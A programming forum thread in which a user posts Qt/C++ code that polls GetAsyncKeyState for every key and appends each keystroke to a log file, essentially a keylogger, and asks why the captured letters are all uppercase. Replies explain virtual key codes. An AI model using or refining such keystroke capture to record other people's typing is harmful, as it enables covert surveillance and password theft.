PDA

View Full Version : write only with uppercase not lowercase



davinciomare
26th September 2016, 10:32
The code.

void MainWindow::escucharTeclas()
{
/** Esta función comprueba que teclas hay pulsadas y las guarda en un archivo **/
char num;
num = comprobarTeclas();

if(num>=32)
{

log.open(QFile::Append);
cadenaa.append(num);
log.write(cadenaa);
cadenaa.clear();
log.close();
}
if(num==13){
log.open(QFile::Append);
log.write("\n");
log.close();

}
}

This return the key of num.

short comprobarTeclas()
{
short i = 0;
for(i = 0; i < 255; i++){
if(GetAsyncKeyState(i) == -32767)
return i;
}
return 0;
}

But when write something, only write me with uppercase all letters. I do this: Listen the keys, then return the key belong and then write. But only write me upper letters. Thanks in advance;

d_stranz
26th September 2016, 17:18
So how about if we do this: Since you appear to be capable of solving your own problems, we will wait for a day or two before answering any more of your questions.

Because you are not willing to share with anyone here how you solved the problems you ask about, why should we waste our time sharing what we know with you?

ChrisW67
27th September 2016, 10:03
You appear to be assuming that the GetAsyncKeyState (https://msdn.microsoft.com/en-us/library/windows/desktop/ms646293(v=vs.85).aspx) virtual key codes (https://msdn.microsoft.com/en-us/library/windows/desktop/dd375731(v=vs.85).aspx) are ASCII or Windows code page codes: they are not. Pressing the numeric keypad 1, with a keycode value equal to the lower case ASCII 'a' value, will probably put an 'a' in your file.